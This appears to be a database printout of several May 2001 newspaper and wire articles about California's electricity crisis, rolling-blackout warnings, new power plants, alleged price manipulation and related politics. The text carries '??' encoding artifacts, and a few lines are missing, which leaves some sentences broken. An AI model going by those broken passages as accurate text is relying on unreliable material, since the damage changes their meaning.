school. "The news is the last thing I'm paying attention to," he said.

??But both voters can easily rattle off their most pressing concerns. Sandel,
who used to teach art at Valley College, said she is particularly worried 
about
education.

??"The last few semesters I taught, I was horrified by the academic
preparedness of the students. They were practically illiterate," she said. 
"They
couldn't take notes from my lecture because they didn't understand the
vocabulary. That bothers me a lot. Who's going to inherit this country?"

??Seay, who recently moved to Los Angeles from Miami, said he is troubled by
the air pollution and racial tension he has encountered here. Seay is African
American and his wife is Italian, he said, and their 9-year-old daughter is
"stuck half-and-half," caught in what Seay regards as a troubling black-white
divide. "That black-white thing really turns me off," he said. "I care about
people getting along."

??As the mayoral race hurtles into its final weeks, some of Hahn and
Villaraigosa's most spirited skirmishes have erupted over crime and law
enforcement issues. Each man is trying to burnish his own crime-fighting
credentials while accusing his rival of neglecting public safety.

??The candidates have squabbled especially fiercely over compressed work
schedules for police officers--the notion of squashing the police workweek 
into
three 12-hour days, or possibly four 10-hour days. The Police Protective 
League
endorsed Hahn, who supports the so-called 3-12 schedule favored by the union.
Villaraigosa, whom Hahn has often characterized as soft on crime, seized upon
the scheduling issue to retaliate, arguing that the three-day week would
jeopardize public safety.

??But interviews with people visiting the Valley's biggest park revealed that
crime--which has declined significantly since Mayor Richard Riordan took 
office
eight years ago--was not the main issue weighing on these voters' minds. That
distinction belongs to something that has walloped wallets far and wide across
this car-addled city: the soaring price of gasoline.

??As he cooled down after a six-mile run near Balboa Lake, Ray Verdugo summed
up the problem facing many gas-guzzlers as prices approached $2 a gallon: "I
made a big mistake and bought a big SUV," lamented the retired Rocketdyne
engineer from Winnetka. "I'm on a fixed income, and [gasoline prices] keep 
going
up all the time."

??Big-city mayors, to be sure, wield minimal influence over gasoline pumps. 
Gas
prices are swayed by market forces, including the international cost of crude
oil, rising demand and limited refinery capacity. Nonetheless, about a third 
of
voters interviewed as they ambled around the Sepulveda Basin named gas prices 
as
a top concern. Half as many said they were worried about crime.

??Some voters said they were troubled by California's electricity woes,
although Los Angeles residents have been spared shortages and blackouts 
because
the city's municipal utility avoided deregulation. 

??"I think building more power plants would help," said Julie Erickson, 27, a
figure-skating instructor from Reseda.

??And then there are the things that people aren't talking about. Nobody (at
least nobody in an admittedly unscientific sample of voters culled over two 
days
in the Sepulveda Basin) mentioned the Rampart police scandal or the recruiting
problems crippling the Los Angeles Police Department.

??No one uttered so much as a peep about neighborhood councils, that
much-ballyhooed innovation of the new city charter. Even the Valley secession
movement--which Villaraigosa has pointed to as "the biggest challenge facing 
Los
Angeles"--hardly earned an honorable mention from this cross-section of
Valleyites. Only one voter referred to secession at all, saying that she 
favored
it.

??Instead, many people voiced personal gripes, the kind of woes unlikely to
vault to the center of the mayoral radar screen--but issues that nonetheless
embody the high quality of life both candidates envision for Los Angeles.

??One man, a sunburned golfer who lives in Van Nuys, said he's dismayed that
the city hasn't finished building a new golf clubhouse and restaurant at the
Woodley Lakes Golf Course. Another frequent park visitor, a retired 
housekeeper
from Sherman Oaks, complained about the windblown litter she sees as she walks
her dog around Balboa Lake.

??But some problems vexing these voters seem frankly beyond the grasp of even
the most poll-tested candidate.

??Sandel, the oil painter, got downright metaphysical after a good 15 minutes
spent mulling the troubles facing Los Angeles, and indeed the world. 
Technology,
she concluded, was advancing so rapidly that it was crowding out humanity's
intuitive, spiritual side.

??"I think there's an extraordinary sense of collective despair and
psychological uncertainty smoldering just below the surface," she said. "I 
don't
know what City Hall can do about that."

GRAPHIC: PHOTO: Ray Verdugo, a retired Rocketdyne engineer, says, "I'm on a
fixed income, and [gas prices] keep going up all the time." PHOTOGRAPHER: 
BORIS
YARO / Los Angeles Times GRAPHIC-MAP: (no caption), Los Angeles Times

??????????????????????????????14 of 85 DOCUMENTS

?????????????????????????Copyright 2001 Newsday, Inc.

????????????????????????????Newsday (New York, NY)

???????????????May 22, 2001 Tuesday NASSAU AND SUFFOLK EDITION

SECTION: NEWS, Pg. A18

LENGTH: 374 words

HEADLINE: And Now, Today's Blackout Forecast

BYLINE: THE ASSOCIATED PRESS

BODY:

??Sacramento, Calif.-Californians will soon be waking up to the weather, the
traffic-and a blackout forecast.

??The operator of the state's electricity grid said yesterday it will start
issuing forecasts 24 hours ahead of expected rolling blackouts. The agency 
also
promised to give 30 minutes' warning before it orders utility companies to 
pull
the plug on homes and businesses, a move that could prevent traffic accidents,
stuck elevators and costly shutdowns at factories.

??Up to now, the agency has refused to give more than a few minutes' warning,
saying it did not want to alarm people when there was still a chance that a
last-minute purchase of power could stave off blackouts. The utility companies
also have resisted giving warnings, saying they did not want to tip off 
burglars
and other criminals.

??"People are asking for additional notice, so we're doing our best to make
that a reality," said Lorie O'Donley, a spokeswoman for the California 
Independent System Operator.

??The state's power system, crippled by a botched effort at deregulation, has
been unable to produce or buy enough electricity to power air conditioners on
hot days. The rolling blackouts move from neighborhood to neighborhood in a
sequence that is determined by the utility companies and is difficult for the
public to predict. The outages last 60 to 90 minutes and then skip to another
neighborhood.

??Because of the lack of notice, the six days of rolling blackouts so far this
year have led to pileups at intersections suddenly left without stoplights,
people trapped in elevators, and losses caused by stopped production lines.
People with home medical equipment fret that they will be cut off without
warning.

??The new plan borrows from the language of weather forecasters: Beginning May
30 the ISO will issue a "power watch" or "power warning" that will give notice
the grid could be headed toward blackouts. It will issue a 30-minute warning 
to
the media and others before any blackouts begin but will not say what
neighborhoods will be hit.

??"Any time is better than none," said Bill Dombrowski, president of the
California Retailers Association. "Obviously, we'd like more, but we're
realistic about what they can do."

??????????????????????????????16 of 85 DOCUMENTS

?????????????????Copyright 2001 The Chronicle Publishing Co.

?????????????????????????The San Francisco Chronicle

?????????????????????MAY 22, 2001, TUESDAY, FINAL EDITION

SECTION: NEWS; Pg. A16; BAY AREA REPORT

LENGTH: 167 words

HEADLINE: GILROY;

Davis licenses 8th emergency power plant

BODY:
Gov. Gray Davis announced yesterday the licensing of the eighth power plant 
-- a
135-megawatt site designed to meet summer demand -- under a 21-day emergency
review he ordered three months ago.

???Calpine Corp. plans to build the plant -- consisting of three 45-megawatt
gas-fired turbines -- next to the firm's existing cogeneration power plant in
Gilroy. ?The plant should be producing electricity no later than Sept. 30.

???Calpine has guaranteed the annual sale of 2,000 hours of generation from 
the
"peaker" project under contract to the California Department of Water 
Resources.

???To swiftly beef up the state's power production during the peak summer
demand, Davis signed the February order directing the California Energy
Commission to expedite review of the peaker plants -- small, temporary,
simple-cycle generators that can be quickly put into operation. The eight 
plants
licensed so far will add a total of 636 megawatts to the grid this
summer.Compiled from Chronicle staff reports

??????????????????????????????17 of 85 DOCUMENTS

SECTION: NEWS; Pg. A13

LENGTH: 669 words

HEADLINE: Power plant 'ramping' to be probed;

State senators also expected to file suit, charging federal regulators with
failing to ensure fair rates

SOURCE: Chronicle Staff Writer

BYLINE: Christian Berthelsen

BODY:
State legislators said yesterday that they will investigate charges power
companies manipulated electricity prices by repeatedly ramping the output of
their plants up and down and creating artificial shortages.

???Sen. Joe Dunn, D-Santa Ana (Orange County), who heads a special committee
reviewing energy prices, called the "ramping" allegations, first disclosed in
The Chronicle on Sunday, "outrageous acts of manipulation."

???Dunn said that even if the practices did not violate current law,
legislation could be drafted to make such acts illegal in the future.

???"We're looking at it, yes, from the point of view of civil or criminal
statutes that may exist but also whether legislation should be introduced to
render it a violation for future such acts."

???Dunn's committee already has been investigating charges that power
generators "gamed" the wholesale energy market to boost their profits.

???The Chronicle reported Sunday that power companies used a complex tactic to
alter the output of their plants, sometimes several times within an hour.

???Sources who work in the plants said the ploy enabled the companies to drive
up the prices they receive for electricity. The firms avoided detection by 
still
meeting the terms of their contracts, which required them to supply a certain
amount of power each hour. The sources said the tactic greatly contributed to
deteriorating physical conditions at the plants, leading to the record level 
of
outages now plaguing California plants.

???The senate committee, which convened in March after The Chronicle reported
that power companies had overstated the growth in demand for electricity in
California, has obtained confidential bidding and generation data for
power-generating companies. Dunn said the data will be analyzed to determine
which plants employed the ramping tactic. He added that the issue would be
examined in a public hearing in the coming weeks.

???Meanwhile, pressure continued to mount on generating companies that drove
electricity supplies through the roof during the past year.

???Sources said the California Public Utilities Commission, which is
investigating allegedly unnecessary plant shutdowns, has narrowed its focus. 
It
is targeting several plants that had no apparent defects yet went offline 
during
periods when prices were rising because of limited electricity supplies.

???Commissioner Jeff Brown said the names of these plants are under court 
seal.
However, Dow Jones reported yesterday that one of them was a San Diego-area
plant co-owned by Dynegy Inc. of Houston and NRG Inc. of Minneapolis. Another
was a Pittsburg plant owned by Mirant Corp. of Atlanta. The companies denied 
the
allegations.

???On another front, Sen. John Burton, D-San Francisco, and Assembly Speaker
Robert Hertzberg, D-Sherman Oaks (Los Angeles County), were expected to file a
lawsuit this morning against the Federal Energy Regulatory Committee for 
failing
to carry out its stated duty of ensuring "just and reasonable" electricity 
rates.

???"Their central failing is that they don't follow the law," Burton said in 
an
interview. "Either they're letting their friends within the industry or their
ideology get in the way of their public responsibility."

???The California attorney general's office also is pressing forward with an
investigation into the practices of wholesale power companies.

??-----------------------------------------------------------

CHART:
Offline firms
???Reliant Energy had more outages during a 39-day period examined by The

Chronicle than any other power provider. Outage numbers were calculated by

multiplying the number of a company's generators that were either fully or

partially offline by the number of days they were out.

??Firm ????Megawatts
???Reliant ???319
???Southern ??310
???AES ???????278
???Duke ??????261
???PG&E ??????249

???E-mail Christian Berthelsen at cberthelsen@sfchronicle.com.

GRAPHIC: CHART: SEE END OF TEXT

??????????????????????????????18 of 85 DOCUMENTS

SECTION: NEWS; Pg. A1

LENGTH: 1527 words

HEADLINE: Half-hour notice of blackouts planned;

FAST ALERTS: Power grid operator may send voice, e-mail messages

SOURCE: Chronicle Sacramento Bureau

BYLINE: Lynda Gledhill

DATELINE: Sacramento

BODY:
Californians will receive 30 minutes' warning that blackouts may be imposed --
enough time, it is hoped, to get out of the elevator or through a dangerous
intersection, the state's power grid managers said yesterday.

???The California Independent System Operator also will provide a daily power
forecast 24 hours in advance so residents and businesses can plan for 
blackouts
the same way people prepare for severe storms.

???"We want a system that is proactive," said Carl Guardino, an ISO board
member and president of the Silicon Valley Manufacturing Group. "When the last
few rolling blackouts hit there was as little as two minutes' warning. Two
minutes may be fine in a football game, but it's not fine for California's
economy or safety."

???ISO officials also said they are examining high-tech ways of quickly
spreading the word about impending blackouts to homeowners and businesses
through mass e-mails, faxes, automated phone calls and pager messages.

???The plan, detailed in a report issued yesterday, still falls far short of
other proposals being pushed in the Legislature. Lawmakers have suggested
scheduling blackout days months in advance and having California join with 
other
Western states to form a "buyer's cartel" that would refuse to pay for power
when prices become too high.

???"It's not the report I was expecting, but 30 minutes of notice is certainly
better than two," said Sen. Debra Bowen, D-Marina del Ray. "No matter how you
slice it, this summer is going to be miserable. The question is whether we 
want
to have planned misery or unplanned misery."

???A spokesman for the California Manufacturers and Technology Association,
which commissioned a recent report that found unplanned blackouts could cost 
the
state economy $21.8 billion, said the ISO policy changes will be a tremendous
help to many businesses.

???"In this electrically unreliable world, any notification manufacturers can
get is good," said Gino DeCaro, a spokesman for the association. "While 30
minutes won't be enough for some, for most manufacturers it will be 
sufficient."
The ISO will wait for guidance from the governor and lawmakers regarding more
complicated issues such as the creation of scheduled blackouts, said Michael
Florio, an ISO board member and official at The Utility Reform Network.

???"There are bigger public policy ramifications," Florio said.

???The ideas will be discussed in greater detail at an ISO board meeting
Thursday. Stephanie McCorkle, an ISO spokeswoman, said the changes are just
updates of policies already in place.

???WARNING OF 'PROBABLE' BLACKOUTS

???The 30-minute advance-notification system, scheduled to go into effect 
early
next month, would warn of "probable" blackouts, including the amount of load
that will have to be curtailed in each service area.

???Until now, the agency has refused to give more than a few minutes' warning,
last-minute purchase of power could stave off blackouts. The utilities also 
have
resisted giving warnings, saying they did not want to tip off burglars and 
other
criminals.

???The ISO also has been working to upgrade its Web site to provide the most
current information about how much electricity is being used and how much is
available. It will also establish a system this summer through which that
information can be sent in an hourly e-mail.

???This information may make it easier for larger users of electricity to plan
their operations, said ISO spokeswoman Lorie O'Donley.

???Also planned by the ISO is a "Power Watch/Power Warning" system that would
provide a 24-hour notice of high-demand days.

???Under the two-tiered system, a "Power Watch" would be declared whenever a
Stage One or Stage Two alert is likely, while a "Power Warning" would be 
issued
whenever there is at least a 50 percent chance of a Stage Three alert.

???With one report suggesting California may see as many as 700 hours of
rolling blackouts this summer, lawmakers are hard at work trying to find ways 
to
make the outages easier for power customers to cope with.

???The idea of a buyer's cartel, the subject of a Capitol hearing today, would
have California -- in partnership with other states -- set a firm ceiling on
what it will pay power producers for electricity this summer -- and not one 
dime
more.

???The idea, which has attracted the support of some key lawmakers and the
cautious interest of Gov. Gray Davis, could potentially curtail the 
exorbitantly
high prices the state has been paying for electricity.

???The trade-off would be the likelihood of more frequent blackouts than if 
the
state continues to pay any price electricity sellers demand.

???The maximum the state would pay would be set by a formula, based on such
things as the cost of natural gas. A reasonable profit for power producers 
would
be built in, supporters said.

???DESIGNATING BLACKOUT DAYS

???Meanwhile, Assemblyman Mike Briggs, R-Fresno, will introduce a bill today
that would require the state's utilities and Public Utilities Commission to
designate days for potential blackouts to each block.

???For example, a customer located in Block 3 of Pacific Gas and Electric 
Co.'s
service area could be told in advance that power will be turned off June 5 if
blackouts are needed that day.

???"Right now, every day is a potential blackout day," Briggs said. "This way
people would know when their potential days are."

??---------------------------------------------------------

??On alert

???-- When demand is high, the ISO will forecast peak demand, power supply and
weather 24 hours in advance.

???-- A "power watch" will be issued when it is likely the grid will reach
Stage 1 (system is within 7% of running out of power) or Stage 2 (system is
within 5% of running out of power).

???-- A "power warning" will be issued when there is at least a 50% chance of 
a
Stage 3 alert (demand is within 1.5% of supply).

???Who calls a blackout?

???Engineers in Folsom at the Independent System Operator keep watch on the
state's power consumption. When they determine that energy reserves have 
dipped
below 1.5 percent of available capacity, the ISO can order utilities to start
cutting juice. Officials said this week they would give 30 minutes' notice
before blackouts begin. The ISO tells the utilities exactly how much power to
cut.

???Q: Who decides who gets blacked out and for how long?

???A: That's up to the utilities. PG&E has divided its 4.5 million customers
into 14 blocks; each block is darkened for one to two hours at a time. The
blocks are defined by PG&E's network of circuits rather than by geography. 
Thus,
neighborhoods in San Francisco, Oakland and Pleasant Hill can be blacked out
simultaneously.

???Q: How many users are blacked out at once?

???A: Each of PG&E's 14

???blocks represents about 550 megawatts of electricity. (A megawatt is enough
electricity to power 1,000 homes.) If PG&E is told to cut more than 550
megawatts, it can shut down two or more blocks at a time. PG&E also can black
out smaller portions within each block if the ISO's requirements are for less
than 550 megawatts.

???Q: How is power shut off?

???A: This is a straightforward matter of shutting off circuits in a power
substation by computer or sending a crew to flip the switches by hand.

???Q: How many days of blackouts have we had this year and how many customers
have been affected?

???A: A total of 3,035,000 customers have been blacked out in the six days of
rolling blackouts since Jan. 1, 2001.

???Q: Which block of customers will be blacked out next?

???A: Some or all customers in Block 1.

???Q: How do I know what block I'm in?

???A: Look for the words "Rotating Outage Block" followed by a number on your
bill. If it says Block 50, you share an electrical circuit with a hospital,
police station or other "essential service" that is normally exempt from 
service
cuts.

???Q: What should I do when the lights go out?

???A: Power experts advise:

???-- Turn off all lights and appliances to prevent damage-causing power 
surges
when service is restored. Leave one light on to indicate when the electricity 
is
back.

???-- Use caution when driving because traffic signals may be out. Treat all
intersections as a four-way stop.

???-- To protect food, open refrigerator and freezer doors only when 
absolutely
necessary.

???-- Keep a flashlight and radio with fresh batteries available. If you light
candles, observe the usual safety precautions.

???-- If the lights go out, check with neighbors to determine if only your 
home
is affected. It may be a downed power line or some other problem, in which 
case
you should alert PG&E or your city electrical bureau.

???-- When the power returns, turn on one appliance at a time to prevent power
surges.

???-- Don't plug a generator into the wall; when the lights return, it can 
send
a high-voltage current through the system that can electrocute power workers.

???-- Tell children who are home alone to remain calm, to turn off the TV and
computers, and not to use candles.

???Sources: PG&E, Chronicle staff

???Chronicle Graphic

??E-mail Lynda Gledhill at lgledhill@sfchronicle.com.

GRAPHIC: GRAPHIC

??????????????????????????????21 of 85 DOCUMENTS

?????????????????????Copyright 2001 Gannett Company, Inc.

??????????????????????????????????USA TODAY

?????????????????????May 22, 2001, Tuesday, FIRST EDITION

SECTION: NEWS; Pg. 5A

LENGTH: 492 words

HEADLINE: Americans anxious about gas prices and energy woes, skeptical of 
Bush

BYLINE: Richard Benedetto

BODY:
An American public stunned by rising gasoline prices and worried about
electricity shortages greeted President Bush's energy plan with skepticism, a
new USA TODAY/CNN/Gallup Poll shows.

??The findings suggest Bush faces a major selling job if he expects to 
persuade
Congress to enact the proposals he unveiled last week and convince the public
that he is acting in its interest.

??"He needs to do something that will address energy problems in the short 
term
and stop talking about everything being long-range," said Jaime Regalado, a
political scientist at California State University-Los Angeles. "And he's got 
to
stop looking so cozy with business."

??The president's proposal emphasizes stepped-up production and modest
conservation measures. It received mixed reviews from an anxious public that
appears to want quick relief but sees the plan only helping after several 
years.

??Although Bush says his program will allow Americans to retain the lifestyle
they are accustomed to, only 30% of those surveyed said they believe it. Two 
of
three said major lifestyle changes will be necessary to solve the nation's
energy woes.

??Nearly half said the Bush plan would not do enough to conserve energy, and
43% said the plan would do too little to increase production.

??Americans also were split over the Bush proposal to increase the number of
nuclear power plants to generate electricity: 49% for and 46% against.

??The tepid response to the Bush energy plan might have been a factor in
raising his job-disapproval rating from 31% a week ago to 36% now, the highest
of his presidency. His 56% job-approval rating did not change from a week ago.

??Bush's strongest disapproval came from Democrats, low-income earners, women
under 50 and residents of California, a state wrestling with electricity 
shortages.

??California Democratic Gov. Gray Davis was highly critical of the Bush plan.
He said it "does nothing to address the astronomical run-up in the prices of
electricity, natural gas and gasoline (and) favors more energy production at 
the
expense of everything else."

??White House spokesman Claire Buchan said the president will continue to 
press
his plan, regardless of the polls: "The president does not govern by polls. 
This
is a serious issue that has been neglected for years, and he has begun a 
serious
dialogue with the American people. It will continue."

??Most poll respondents said they see threats of electricity shortages and the
rising price of gasoline and heating fuels as serious problems, although only
12% said they see a "state of crisis." And most of those polled said Bush is 
not
doing enough to address those problems.

??At the same time, most said energy companies have too much influence over 
the
administration's energy polices, an argument Democrats raise.

??One in five said the Bush administration deserves a great deal of blame for
the energy problems; 28% put a great deal of that blame on the Clinton
administration.

??????????????????????????????22 of 85 DOCUMENTS

????????????????Copyright 2001 News World Communications, Inc.

?????????????????????????????The Washington Times

?????????????????????May 22, 2001, Tuesday, Final Edition

SECTION: PART A; NATION; INSIDE POLITICS; Pg. A6

LENGTH: 1242 words

BYLINE: Greg Pierce; THE WASHINGTON TIMES

BODY:

??FIRST HISPANIC PRESIDENT

??"Some years ago, the novelist Toni Morrison, in a Time essay, proclaimed 
Bill
Clinton America's first black president," Richard Rodriguez writes in an op-ed
piece in the New York Times.

??"Leaving aside the affront to American blacks that Ms. ?Morrison's conceit
carries today, it might be useful to regard George Bush as America's first
Hispanic president," said Mr. ?Rodriguez, an editor with Pacific News Service.

??"It's not just his ability to speak Spanish or his recent White House
celebration of Cinco de Mayo. ?George Bush, I think, sees Texas as a state of 
el
norte. ?And when he imagines the future, he thinks of the north and the south.
Maybe that is the reason for his optimism: the north and the south, Alaska to
Patagonia, extend farther, suggest a future wider, than the American future
bounded by coastlines.

??"Along with his far northern ambition for the Alaskan wilderness, Mr. Bush
has broached with the Mexican president, Vicente Fox, the possibility of
building power plants in Mexico for American consumers north of the border.
Such schemes reveal him to be perhaps a visionary, as much as he seems a man
oblivious of the lessons John Muir discovered in California.

??"Which is only to say, there is a wisdom in the way the Texan sees our
American future. ?There is also a wisdom to the way Californians understand 
that
future."

??FRANK LEADS CHARGE

??A group of 22 House Democrats yesterday sent a letter to all U.S. senators
urging them to delay the confirmation of solicitor general candidate Theodore
Olson "until he gives a full and honest accounting of his role" in a 
magazine's
investigations of former President Bill Clinton.

??"As members of various House committees with jurisdiction over the
investigations that resulted from accusations of wrongdoing against President
Clinton, we became very familiar with the quality of these accusations," they
wrote. ?"To our disappointment, we found that there was a consistent pattern 
. .
. of ideological opponents of the president making irresponsible, unfounded, 
and
often scurrilous charges."

??Led by Rep. ?Barney Frank, Massachusetts Democrat, the group is asking
senators to defeat Mr. ?Olson's nomination "if it turns out that he was deeply
involved in this disinformation campaign."

??Mr. ?Olson has told the Senate Judiciary Committee that, as a member of the
American Spectator's board of directors, he learned of the magazine's 
so-called
"Arkansas Project" in mid-1997. He has said he did not take an active role in
the investigative project.

??The panel voted 9-9 on party lines last week on Mr. ?Olson's nomination, and
Senate Democrats are demanding more documents and information about his
involvement with the magazine before a floor vote on the nomination.

??BUSH COURTS RIORDAN

??Los Angeles Mayor Richard Riordan, a Republican serving his final days in
that office, may run for governor against incumbent Democrat Gray Davis in 
2002,
National Journal reports.

??"You can say I'm giving it serious thought," Mr. ?Riordan said in an
interview with the magazine.

??Previously, the 71-year-old Mr. ?Riordan had expressed support for Los
Angeles investment banker William E. ?Simon Jr., who has been readying his
candidacy for the Republican nomination. ?But that was before a May 1 phone 
call
from President Bush in which the president wished the mayor a happy birthday -
and urged him to think about the governorship.

??"I think he sees this as a chance to revive the party, and the president was
extremely encouraging and very persuasive," Mr. ?Riordan said. ?"As you know,
the Republican Party in California has been an endangered species now for
several years."

??BUSH BETTERS DAVIS

??California Gov. ?Gray Davis blames President Bush for his state's 
electricity
woes, but a new survey finds that Californians have a higher opinion of the
president than of their governor.

??Only 46 percent of 2,001 respondents in a poll conducted by the Public 
Policy
Institute of California gave Mr. ?Davis a positive job-approval rating, down
from 63 percent in January. ?And only 29 percent of those polled approved of 
the
way the Democrat is handling the electricity crisis. Sixty percent disapprove.

??Mr. ?Bush, on the other hand, had a 57 percent job-approval rating, with 36
percent disapproving. ?Thirty-three percent approved of his handling of the
electricity problem, while 56 percent disapproved.

??HIS BETTER HALF

??June's Talk magazine recalls the relationship of President Johnson and his
wife, Lady Bird, who was "keenly aware that a President might seek out the
companionship of other women," according to Kati Marton's new book, "Hidden
Power: Presidential Marriages That Shaped Our Recent History."

??"If I wanted him to do without the stimulation, knowledge or assistance that
other women offered him, it would, after a period, have diminished me," said
Mrs. ?Johnson, who had a unique understanding of "what she called the 'help 
and
support' of other women," according to the book.

??Mrs. ?Johnson managed to keep an eye on LBJ's extramarital liaisons and even
learned a thing or two from his mistresses. ?"I learned how to dress better 
from
this one, to always wear lipstick from another, about art or music from
another," she said.

??It was well-known around the White House that Mr. ?Johnson was a womanizer,
but such things were kept hidden by the media in those halcyon days.

??"Suddenly, the President appeared and pulled up a chair," recalled one
veteran reporter in the book. ?"'Now boys, let me tell you something. 
Sometimes
you may see me coming out of a room in the White House with a woman. ?You just
remember,' he said, 'that is none of your business.' We just said, 'Yes, sir,'
and stuck to it pretty much. ?That's just the way things were then."

??HESTON RE-ELECTED

??Charlton Heston was elected to an unprecedented fourth term as president of
the 4.3-million-member National Rifle Association yesterday.

??At a meeting following the group's 130th annual convention in Kansas City,
Mo., the 76-member board of directors - whose ranks include the likes of
conservative hero Oliver North and country singer Louise Mandrell - elected 
Mr.
Heston by unanimous acclaim, Reuters reports.

??Mr. ?Heston, 77, is an Academy Award-winning actor whose signature roles 
have
included Moses in "The Ten Commandments" and the title role of "Ben-Hur," for
which he won a best actor Oscar.

??The NRA changed its rules last year to allow Mr. ?Heston a third one-year
term. ?At this year's members' meeting on Saturday, Mr. ?Heston told the
assembled gun owners, "Until recently, I'd planned for this to be my farewell
address as your president. ?But I've been asked, and I've agreed, to stand 
for a
fourth term."

??FORGET THE BADGES

??"The long-running internal White House security system denoting who can and
can't see top-secret info is getting the boot, sources say. ?Reason: The 
Bushies
don't need no stinking badges," Paul Bedard writes in U.S. News & World 
Report.

??"The system caused problems from the start when the feelings of top aides
were hurt when they found that they didn't have the needed stars to get into
national security briefings. ?A longtime White House security official says:
'The stars are all going away from everyone's passes. ?The new administration
does not like them.' However, a replacement system hasn't been designed."

??* Greg Pierce can be reached at 202/636-3285 or by e-mail
(gpierce@washingtontimes.com).

??????????????????????????????23 of 85 DOCUMENTS

????????????????????Copyright 2001 Chicago Tribune Company

???????????????????????????????Chicago Tribune

???????????????May 22, 2001 Tuesday, NORTH SPORTS FINAL EDITION

SECTION: News; Pg. 6; ZONE: N

LENGTH: 444 words

HEADLINE: California to issue blackout forecasts

BYLINE: By Jennifer Coleman, Associated Press.

BODY:

??Californians will soon be waking up to the weather, the traffic and a
blackout forecast.

??The operator of the state's electricity grid said Monday that it will start
issuing forecasts 24 hours ahead of expected rolling blackouts.

??The agency also promised to give 30 minutes' warning before it orders
utilities to pull the plug on homes and businesses, a move that could prevent
traffic accidents, stuck elevators and costly shutdowns at factories.

last-minute purchase of power could stave off blackouts. The utilities have 
also
resisted giving warnings, saying they did not want to tip off criminals.

??Californians have been warned that rolling blackouts could be a regular
feature this summer. The state's power system, crippled by a botched effort at
deregulation, has been unable to produce or buy enough electricity to power 
air
conditioners on hot days.

??The rolling blackouts move from neighborhood to neighborhood in a sequence
that is determined by the utilities and is difficult or impossible for the

??Because of the lack of notice, the six days of rolling blackouts to hit the
state so far this year have led to pileups at intersections suddenly left
without stoplights, people trapped in elevators and losses caused by stopped
production lines. People with home medical equipment like oxygen fret they 
that
they will be cut off without warning.

??The new plan by the ISO borrows from the language of weather forecasters:
Beginning May 30, it will issue a "power watch" or "power warning" that will
give notice the grid could be headed toward blackouts.

??The ISO will issue 30-minute warnings to the media and others before any
blackouts begin. However, the ISO will not say what neighborhoods will be hit.

??The plan falls far short of what some consumer groups and legislators are
demanding.

??State Sen. Debra Bowen has said she envisions giving consumers three to five
days' notice that their power will be cut during a particular period, so
businesses could shut down or shift their operations to non-peak hours such as
nights and weekends.

??????????????????????????????24 of 85 DOCUMENTS

???????????????????The Associated Press State & Local Wire

The materials in the AP file were compiled by The Associated Press. ?These
materials may not be republished without the express written consent of The
Associated Press.

???????????????????????May 22, 2001, Tuesday, BC cycle

?????????????????????????????5:39 AM Eastern Time

SECTION: State and Regional

LENGTH: 506 words

HEADLINE: One power plant is begun as another is finished

DATELINE: PHOENIX

BODY:

??Arizona's power story is quite different from that of California: In 
Arizona,
one plant is going on line just as another's construction is begun.

??But power-starved California should benefit nonetheless.

??A 120-megawatt power plant in southwestern metro Phoenix being dedicated on
Tuesday was expected to be in commercial production by the month's end. The
plant, owned by local power wholesaler Pinnacle West Energy, will produce 
enough
electricity to serve about 120,000 homes, though much of it may be sold
elsewhere.

??On Monday, PG&E National Energy Group, a sister of California's financially
squeezed PG&E Gas and Electric, broke ground for its planned $500 million
generating plant west of Phoenix that will use natural gas.

??It's one of up to 11 plants planned for Arizona by out-of-state interests.
Three such plants are expected to begin production this summer, though much of
their power also may be sold to other states.

??That's true of the PG&E National plant, too, but those who live in the
vicinity don't care.

??"We have nothing out here now," said Elisa Bigbey of Harquahala Valley. "We
want to get something going."

??The plant will increase the assessed valuation of the area by 17 times and
will generate $10.7 million in new property taxes. PG&E already has given the
local school district a portable shed in which to store records because the
district's only school was damaged by a November fire.

??PG&E also is making a no-strings outright gift to the community of $550,000
in 11 annual cash installments. A committee of local residents will decide how
to spend the windfall.

??Meanwhile, Panda Energy of Dallas and Teco Power Services of Tampa, Fla.,
recently broke ground for a plant south of the PG&E site, and Duke Energy 
North
America of Charlotte, N.C., and Sempra Energy of San Diego each have started
plants in the Arlington Valley.

??Pinnacle West Generating has a plant under construction near the Palo Verde
nuclear plant in this same general area.

??Additionally, the Desert Basin Plant in Casa Grande is owned by Reliant 
Energy of Houston. The Griffith Energy Plant near Kingman is owned by Duke 
Energy and P&L Global. The Southpoint plant, set to begin production next 
month
near Bullhead City, is owned by Calpine Corp. of San Jose.

??Such plants have come to Arizona because there's lot of space in Arizona,
water is relatively inexpensive, there's access to natural gas, regulators are
friendly and the plants can be situated at a distance from urban air pollution
controls.

??The PG&E plant will produce nitrogen oxides and carbon dioxides that can 
lead
to formation of ozone, an air pollution problem against Phoenix has been
fighting for years.

??Additionally, the plant will use 6,500 acre feet of water a year, enough to
meet the needs of a town of about 30,000. PG&E expects to use surplus Central
Arizona Project water from the distant Colorado River - but the Harquahala
Valley has a good supply of underground water PG&E can tap if the CAP surplus
disappears.

??????????????????????????????25 of 85 DOCUMENTS

?????????????????????????????3:48 AM Eastern Time

LENGTH: 718 words

HEADLINE: Developments in California's energy crisis

BYLINE: By The Associated Press

BODY:

??Developments in California's energy crisis:

??MONDAY:

??- No power alerts as reserves stay above 7 percent.

??- State power grid operators say they'll soon be giving residents and
businesses 30 minutes notice before they order rolling blackouts. The
Independent System Operator will also be issuing a daily energy forecast with
projected supply and demand, and the likelihood of blackouts. Several 
lawmakers
say they'll introduce plans that would give Californians even more notice of
blackouts - from one day to one month.

??- The state auditor releases a report on the state's energy crisis, saying
previous estimates that the state could avoid blackouts this summer are overly
optimistic. The Bureau of State Audits also criticized the California Public
Utilities Commission, saying the commission hasn't responded to the crisis by
expediting transmission line project.

??- Gov. Gray Davis is in Chicago, speaking with city officials there about
blackout procedures.

??- Davis' energy advisers say that the state is meeting its energy goals,
despite doubts raised by Controller Kathleen Connell and other critics. 
Connell
questioned whether the state can buy enough electricity cheap enough to avoid
borrowing more than the $13.4 billion approved by state lawmakers. But Davis
adviser Joe Fichera says the state has signed more long-term power contracts
that will help keep prices low.

??- Davis' office announces that an eighth "peaker" power plant has been
licensed. The 135-megawatt plant in Gilroy is expected to be online by the end
of September. The California Energy Commission says that more than 10,000
megawatts of new electricity since April 1999.

??- The California Energy Commission also announces increased rebates for
renewable energy systems - such as solar panels, fuel cells or small wind
generation. Rebates of up to 50 percent on the system are available for
residential, commercial, industrial or agricultural users.

??- Republican legislative leaders criticize Davis for spending tax money on a
political communications firm that previously advised Vice President Al Gore.
Davis is hiring Gore's former press secretary and deputy campaign manager for
six months at $30,000 a month to coordinate the governor's communications on
energy issues. Senate GOP Leader Jim Brulte and Assembly Republican Leader 
Dave
